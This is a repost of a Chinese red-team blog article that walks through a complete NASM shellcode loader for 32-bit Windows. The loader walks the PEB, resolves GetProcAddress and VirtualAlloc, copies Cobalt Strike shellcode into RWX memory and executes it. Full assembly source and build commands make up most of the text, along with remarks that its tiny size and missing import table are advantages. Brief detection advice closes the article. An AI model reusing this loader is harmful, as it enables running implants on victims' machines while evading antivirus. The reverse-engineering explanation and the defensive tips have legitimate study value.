九维团队-红队(突破)| 汇编语言加载shellcode

admin 2023年3月3日20:23:17评论50 views字数 7600阅读25分20秒阅读模式

九维团队-红队(突破)|  汇编语言加载shellcode

一、环境准备


关于汇编ide,最开始笔者使用的是vs的内联汇编来调试。后面发现它非常的不方便,只能支持masm,而笔者要写是nasm。最后在github上找到了SASM。下载的时候选择SASMSetup.exe。


安装好后,要重新设置汇编器路径与链接器路径。nasm.exe和gcc.exe都在sasm路径下。

九维团队-红队(突破)|  汇编语言加载shellcode


二、定位DLL基址


在汇编语言中,如果想调用Windows API,首先需要定位此函数所在的dll地址。既然编写shellcode加载器,那么我们这里直接定位`VirtualAlloc`。通过查询msdn,可知`VirtualAlloc`在`Kernel32.dll`中。定位流程如下:

1.通过FS寄存器取得PEB地址

2.取得 PEB_LDR_DATA 地址

3.取得 InInitializationOrderModuleList 地址

4.取得 kernel32.dll 的 Base Address


*关于PEB的相关知识,各位可移步参考文章:PEB结构:获取模块kernel32基址技术及原理分析https://bbs.pediy.com/thread-266678.htm

*左右滑动查看更多


下面的代码,通过遍历InInitializationOrderModuleList可直接看到dll的加载顺序:

#include <stdio.h>#include <stdlib.h>#include <Windows.h>
// 定义peb结构//https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html#l00063typedef struct _PEB_LDR_DATA{ ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId;}PEB_LDR_DATA, * PPEB_LDR_DATA;
//https://processhacker.sourceforge.io/doc/ntpebteb_8h_source.html#l00008typedef struct _PEB{ BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN IsPackagedProcess : 1; BOOLEAN IsAppContainer : 1; BOOLEAN IsProtectedProcessLight : 1; BOOLEAN SpareBits : 1; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PEB_LDR_DATA* Ldr; //...} PEB, * PPEB;
typedef struct{ USHORT Length; USHORT MaximumLength; PWCH Buffer;}UNICODE_STRING;
//https://processhacker.sourceforge.io/doc/ntldr_8h_source.html#l00102typedef struct _LDR_DATA_TABLE_ENTRY{ LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; union { LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InProgressLinks; }; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage;
UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; //...}LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
int main(){ // 32位fs:[0x30] PEB* peb = (PEB*)__readfsdword(0x30);;
PEB_LDR_DATA* ldr = peb->Ldr; // 头指针 LIST_ENTRY* moduleList = &ldr->InInitializationOrderModuleList; // 头结点 LIST_ENTRY* list = moduleList->Flink; PVOID hKernel32 = NULL;
while (list != moduleList) { LDR_DATA_TABLE_ENTRY* pEntry = (LDR_DATA_TABLE_ENTRY*)((BYTE*)list - 2 * sizeof(LIST_ENTRY)); wprintf(L"%sn", pEntry->FullDllName.Buffer); list = list->Flink; }}

*左右滑动查看更多


可看到第一个dll是ntdll.dll,第二个是KERNELBASE.dll,第三个是KERNEL32.DLL:

九维团队-红队(突破)|  汇编语言加载shellcode


定位kernel32.dll基址的汇编代码:

mov ebx, [fs:0x30]      ; EBX = PEBmov ebx, [ebx + 0xc]    ; EBX = PEB->ldrmov ebx, [ebx + 0x1C]   ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dllmov ebx, [ebx]          ; EBX = kernelbase.dllmov ebx, [ebx]          ; EBX = kernel32.dllmov ebx, [ebx + 0x8]    ; EBX = Base address

*左右滑动查看更多


解释一下上面的代码,[fs:0x30] 指向的就是PEB地址。


再通过VERGILIUS,查询PEB结构定义,得知PEB地址偏移0xc定位到PEB_LDR_DATA:

九维团队-红队(突破)|  汇编语言加载shellcode


继续偏移0x1C,定位到InInitializationOrderModuleList,同时也定位到了ntdll.dll:

九维团队-红队(突破)|  汇编语言加载shellcode


LIST_ENTRY是一个链表,再遍历链表成员的Flink两次,第一次[ebx]定位到kernelbase.dll,第二次[ebx]定位到kernel32.dll:

九维团队-红队(突破)|  汇编语言加载shellcode


同时LIST_ENTRY又是LDR_DATA_TABLE_ENTRY结构的成员,而我们最开始是通过遍历InInitializationOrderLinks来获取信息的,所以此时真正的位置是在LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks=0x10,而0x18是dll的基址,0x18-0x10=0x8。这也是[ebx + 0x8]就能定位到dll基址的原因。

九维团队-红队(突破)|  汇编语言加载shellcode


下个断点,进行调试,ebx=0x77300000,和下图获取到的kernel32.dll基址一样,说明代码没有问题。

九维团队-红队(突破)|  汇编语言加载shellcode

三、定位函数地址


接下来就是解析PE,需要读者必须深入了解PE结构,才能看懂下面的代码和流程:

1.取得NT Header地址

2.取得 Export table 地址

3.取得 AddressOfNameOrdinals

4.取得目标函数地址


定位到导入表RVA:

mov edx, [ebx + 0x3c]   ; EDX = DOS->e_lfanew           add edx, ebx            ; EDX = PE Header               mov edx, [edx + 0x78]   ; EDX = Offset export table     add edx, ebx            ; EDX = Export table

*左右滑动查看更多


导入表的RVA=edx=0x92240:

九维团队-红队(突破)|  汇编语言加载shellcode


分析C:WindowsSysWOW64kernel32.dll的PE结构,可看到导出表的RVA一样是0x92240:

九维团队-红队(突破)|  汇编语言加载shellcode


接下来先找到 GetProcAddress 函数地址:

mov esi, [edx + 0x20]   ; ESI = Offset namestable       add esi, ebx            ; ESI = Names table             xor ecx, ecx            ; EXC = 0mov eax, ebx
Get_Function:
inc ecx ; Increment the ordinal lodsd ; Get name offset add eax, ebx ; Get function name cmp dword [eax], 0x50746547 ; GetP jnz Get_Function cmp dword [eax + 0x4], 0x41636f72 ; rocA jnz Get_Function cmp dword [eax + 0x8], 0x65726464 ; ddre jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals add esi, ebx ; ESI = Ordinals table mov cx, [esi + ecx * 2] ; Number of function dec ecx mov esi, [edx + 0x1c] ; Offset address table add esi, ebx ; ESI = Address table mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) add edx, ebx ; EDX = GetProcAddress

*左右滑动查看更多


GetProcAddress函数地址 = edx = 0x77315f20。

九维团队-红队(突破)|  汇编语言加载shellcode

九维团队-红队(突破)|  汇编语言加载shellcode


我们不直接定位`VirtualAlloc`,而是先获取到`GetProcAddress`的原因在于,后面就可以调用`GetProcAddress`来帮助我们找到想要的函数地址。


插句题外话,在导出表中可看到`GetProcAddress`RVA为0x15F20,而前面获取到的kernel32.dll基址=0x77300000。那么`GetProcAddress`的真正函数地址=0x15F20+0x77300000=0x77315F20。

九维团队-红队(突破)|  汇编语言加载shellcode

`GetProcAddress`函数定义如下:

FARPROC GetProcAddress(  [in] HMODULE hModule,  [in] LPCSTR  lpProcName);


windows调用API传递参数都是从右向左传递,因此第一个要传递的参数是`lpProcName`,即函数名称。将字符串压入栈中,最后再压入esp寄存器,代表字符串传参完毕:

; Get VirtualAlloc Addresspush 0push dword 0x636F6C6C   ; llocpush dword 0x416C6175   ; ualApush dword 0x74726956   ; Virtpush esppush ebx                ; Kernel32.DLL Base Addrcall edx                ; GetProcAddress Addr

*左右滑动查看更多


当函数调用成功后,返回值存放在EAX寄存器,EAX=0x77315ED0:

九维团队-红队(突破)|  汇编语言加载shellcode

九维团队-红队(突破)|  汇编语言加载shellcode


四、执行shellcode


调用VirtualAlloc:

; EAX = VirtualAlloc Addresspush 0x40               ; PAGE_EXECUTE_READWRITEpush 0x1000             ; MEM_COMMITpush 0x1000             ; shellcode sizepush 0                  ; NULLcall eax                ; VirtualAlloc Addr

*左右滑动查看更多


成功在0x20000开辟了RWX属性的空间:

九维团队-红队(突破)|  汇编语言加载shellcode

九维团队-红队(突破)|  汇编语言加载shellcode


定义一个数据段,来存放我们的shellcode,将cs生成的32位shellcode放到对应的位置:

section .datashellcode db 0xfc, 0xe8, 0x89 ; put shellcode herelen equ $ - shellcode ; Get shellcode Size

*左右滑动查看更多


将shellcode复制到我们申请的内存中去:

; Copy Shellcode to Memorymov ecx, lenmov esi, shellcode       mov edi, eaxcldrep movsb


shellcode成功复制了过去:

九维团队-红队(突破)|  汇编语言加载shellcode


最后一步,`call eax`执行shellcode,上线cs:

九维团队-红队(突破)|  汇编语言加载shellcode


五、完整代码


; runshellcode.asm; %include "io.inc"global CMAIN
section .datashellcode db 0xfc, 0xe8, 0x89 ; put shellcode herelen equ $ - shellcode ; Get shellcode Size
section .text
CMAIN: mov ebx, [fs:0x30] ; EBX = PEB mov ebx, [ebx + 0xc] ; EBX = PEB->ldr mov ebx, [ebx + 0x1C] ; EBX = PEB->ldr.InInitializationOrderModuleList = ntdll.dll mov ebx, [ebx] ; EBX = kernelbase.dll mov ebx, [ebx] ; EBX = kernel32.dll mov ebx, [ebx + 0x8] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew add edx, ebx ; EDX = PE Header mov edx, [edx + 0x78] ; EDX = Offset export table add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable add esi, ebx ; ESI = Names table xor ecx, ecx ; EXC = 0 mov eax, ebx
Get_Function:
inc ecx ; Increment the ordinal lodsd ; Get name offset add eax, ebx ; Get function name cmp dword [eax], 0x50746547 ; GetP jnz Get_Function cmp dword [eax + 0x4], 0x41636f72 ; rocA jnz Get_Function cmp dword [eax + 0x8], 0x65726464 ; ddre jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals add esi, ebx ; ESI = Ordinals table mov cx, [esi + ecx * 2] ; Number of function dec ecx mov esi, [edx + 0x1c] ; Offset address table add esi, ebx ; ESI = Address table mov edx, [esi + ecx * 4] ; EDX = Pointer(offset) add edx, ebx ; EDX = GetProcAddress
; EDX = GetProcAddress ; EBX = Kernel32.DLL Base Addr
; Get VirtualAlloc Address push 0 push dword 0x636F6C6C ; lloc push dword 0x416C6175 ; ualA push dword 0x74726956 ; Virt push esp push ebx ; Kernel32.DLL Base Addr call edx ; GetProcAddress Addr
; EAX = VirtualAlloc Address push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x1000 ; shellcode size push 0 ; NULL call eax ; VirtualAlloc Addr
; Copy Shellcode to Memory mov ecx, len mov esi, shellcode mov edi, eax cld rep movsb
; Exec shellcode call eax
ret

*左右滑动查看更多


六、编译


如果使用SASM自带的gcc编译器,生成的exe会非常大:

九维团队-红队(突破)|  汇编语言加载shellcode


而汇编语言生成的目标文件经过链接后的体积非常小,使用nasm汇编器进行汇编:

nasm -f win32 runshellcode.asm

*左右滑动查看更多


九维团队-红队(突破)|  汇编语言加载shellcode


生成Obj文件后,使用VS Link 链接器进行编译:

link.exe /OUT:"runshellcode.exe" /MACHINE:X86 /SUBSYSTEM:WINDOWS /NOLOGO /TLBID:1 /ENTRY:CMAIN .runshellcode.obj

*左右滑动查看更多


九维团队-红队(突破)|  汇编语言加载shellcode


小才是汇编的精髓,仅有3.5KB!

九维团队-红队(突破)|  汇编语言加载shellcode


七、防范建议


防范建议:

  1. 观察程序体积,如果体积过小,很有可能是木马程序。

  2. 查看pe的数据表:一个exe如果没有导入表其实是非常奇怪的,而使用汇编做的木马,通常都没有导入表。

  3. 考虑针对CS本身的协议特征和攻击源威胁情报,及时更新基于流量、终端等检测手段。

  4. 对于社工类样本投递攻击,及时更新基于沙箱类安全产品的样本分析能力,并多做人员安全意识培训。

  5. 对于任何有网络请求的可执行文件都应该保持警惕,特别是在攻防演练期间。


推荐阅读及参考文章:

PEB结构:获取模块kernel32基址技术及原理分析https://bbs.pediy.com/thread-266678.htm
欢迎来到实力至上主义的 Shellcode (上) - Windows x86 Shellcodehttps://ithelp.ithome.com.tw/articles/10269530
欢迎来到实力至上主义的 Shellcode (下) - Windows x86 Shellcodehttps://ithelp.ithome.com.tw/articles/10270253
静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器https://payloads.online/archivers/2022-02-16/1/

*左右滑动查看更多





—  往期回顾  —


九维团队-红队(突破)|  汇编语言加载shellcode

九维团队-红队(突破)|  汇编语言加载shellcode
九维团队-红队(突破)|  汇编语言加载shellcode
九维团队-红队(突破)|  汇编语言加载shellcode
九维团队-红队(突破)|  汇编语言加载shellcode



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-红队(突破)|  汇编语言加载shellcode

九维团队-红队(突破)|  汇编语言加载shellcode
九维团队-红队(突破)|  汇编语言加载shellcode

原文始发于微信公众号(安恒信息安全服务):九维团队-红队(突破)| 汇编语言加载shellcode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月3日20:23:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-红队(突破)| 汇编语言加载shellcodehttps://cn-sec.com/archives/1266757.html

发表评论

匿名网友 填写信息